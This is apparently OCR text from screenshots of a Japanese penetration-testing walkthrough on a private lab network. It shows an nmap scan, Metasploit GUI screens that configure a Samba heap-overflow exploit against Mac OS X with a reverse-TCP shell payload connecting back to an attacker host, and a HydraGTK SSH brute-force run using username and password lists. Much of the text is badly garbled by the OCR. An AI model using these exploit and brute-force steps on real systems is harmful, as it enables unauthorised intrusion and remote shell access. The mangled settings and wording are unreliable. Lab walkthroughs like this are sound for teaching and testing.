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PORT STATE SERVICE VERSION

21/tcp open tcpwrapped

22/tcp open ssh OpenSSH 5.1 (protocol 1.99)

|_ SSH Protocol Version 1: Server supports SSHv1

514/tcp filtered shell

3689/tcp open rendezvous Apple iTunes 8.0.2

Device type: storage-misc|remote management | switch | broadband router | VoIP gateway | general
purpose

Running (JUST GUESSING) : BlueArc embedded (90%), IBM embedded (87%), HP embedded (87%),
Allied Telesyn embedded (86%), Netopia embedded (85%), Vegastream embedded (85%), SCO
OpenServer 5.X (85%)

Aggressive OS guesses: BlueArc Titan 2100 NAS device (90%), IBM BladeCenter management
module (firmware BRETS85L), IBM System Storage TS3100/TS3200 Express Model tape library, or
HP StorageWorks MSL2024 tape library (87%), Allied Telesyn AT-9448Ts/XP switch (86%), Netopia
3346N or 3397GPB ADSL router (85%), Vegastream Vega 400 VoIP Gateway (85%), SCO
OpenServer 5.0.7 (85%), SCO OpenServer 5.0.7 (x86) (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: -73 hops

TCP Sequence Prediction: Difficulty=256 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: OS: Mac OS X

TRACEROUTE (using port 21/tcp)

HOPRTT ADDRESS

1 1.26192.168.75.2

2  3.01 seriousbarbarian.lan (192.168.10.159)
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Job ID Module

[d Jobs

= Exploits Al loaded explalt madules (288)
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4 linux

b B multi

b B2 netware

b B osx

b B solaris

b B test

b B unix

b B windows =

Maodule Information | Module Output Sessions
Madule: exploit/linux/imap/imap_uw_lsub Target Type

This module exploits a buffer overflow in the 'LSUB' command of the University of Washington IMAP service. This
wulnerability can only be exploited with a valid username and passward. This exploit module was written by patrick
(patricki@aushack.com)

References:

Loaded 288 exploits, 124 payloads, 17 encoders, 6 nops, and 56 auxiliary
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http://support.apple.com/kb/HT1457?viewlocale=ja_JP
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¥ netware
0 osx/sambajtransZopen

w B osx
b B afp
b B arkeia
b B armle
b B browser
b B8 email
b B ftp
= B samba
E Isa transnames_heap Samba lsa_io trans names Heap Overflaw
G trans2open Samba transZopen Overflow (Mac 05 X)
F B solaris
b B test

Maodule Information | Module Output Sessions

Module: exploit/osx/samba/isa_transnames_heap Target Type

This module triggers a heap overflow in the LSA RPC se| e of the Samba daeman. This module uses the szane_free
{ | pointerin initial_malloc_zones structure. This exploit module was written by Raman
rityorg) and Adriano Lima (adrian: isesecurityorg) and hdm

miagimetasploit. com)

References:

Loaded 288 exploits, 124 payloads, 17 encoders, 6 nops, and 56 auxiliary
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{generic/shell_reverse_tcp -i

Select your payload

Connect back to attacker and spawn a command shell
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Select your options
RHOST : The &
192168101

35\.-5 RPORT :

445

SMBPIPE :
LSARPC

e pipe name to use

LPORT : The I
4444

LHOST : T
192.168.7

+ Advanced

¥ cancel 4@ Back & Forward

WX RDIPT R A& AJJL, "Forward” KA =T LE T,

Samba Isa_io_trans_names Heap Overflow <2>

RSSiSGANG

your configuration befare clicking the apply button

SMBPIPE : LSARPC

SSL :false

EnableContextEncoding : false

ContextinfermationFile

PAYLOAD : gener 2

SMB:ipipe_evas :false
nd_multi: true

Confirm settings

Eﬂga\-e

RPORT : 445

RHOST : 19216810159
LHOST :192.168.75.128

TARGET : 0
¥ cancel 4@ Back +f 2eply
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Maodule Information | Module Output Sessions
Module: exploit/osx/samba/isa_transnames_heap Target Type
This module triggers a heap overflow in the
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BE HydraGTK =E =
] Quit

Target | Passwords | Tuning | Specific | Start

Target i
1
Single Target 127.0.0.1
» Target List froot/Desktop/fip.list
Port 22| =
Protocal s5h2 -

Qutput Options

Use 55L Be VWerbose

Show Attempts Debug

hydra -M froot/Desktop/fip.list ssh2 -5 22 -L froot/Desktopfuserlist -P froot. ..
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WU T Xy 7T DBENROIP(ETZIIR A ML), b —ERR—h,
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BE HydraGTK B E X
gl cuit

Target | Passwords | Tuning | Specific | Start

Usemame I
Usemnmame yourname
#» Usemame List froot/Desktopfuserlist
Password
Password YOUrpass
e Passwaord List froot/Desktop/pass.list

Colon seperated file

Use Calon seperated file

Try login as password Try ermnpty password

hydra -M froot/Desktopfip.list s5h2 -5 22 -L jroot/Desktopfuserlist -P froot. ..
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i E HydraGTK
gl Quit
Target ' Passwords | Tuning | Specific | Start
Output i
]
Start Stop Sawve Output Clear Output
hydra -M jrootyDesktop/fip.list ssh2 -s 22 -L jroot/Desktopfuserlist -P froot. ..
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B E HydraGTK
el cuit

Target | Passwords | Tuning | Specific | Start

Dutput
Hydra v5.4 (c) 2006 by van Hauser/ THC - use allowed only for legal purposes.
Hydra (http:www.thc.org) starting at 2009-03-01 16:27:58

[DATA] 18 tasks, 2 s, 9 login tries (1:3/p:3), ~1 tries per task

[DATA] attacking service ssh2 on port 22

Error: Can not resolve

[STATUS] attack finished for 192.168.10.159 (waiting for childs to finish)
[22][ssh2] host: 192.168.10.159 login: password:
Hydra (http:/fwww.thc.org) finished at 2009-03-01 16:28:16
=finished>

Stop Save Output Clear Qutput

it

hydra -M froot/Desktopfip list s5h2 -5 22 -L froot/Desktop/userlist -P froot/Desktop/pass.list -t 36
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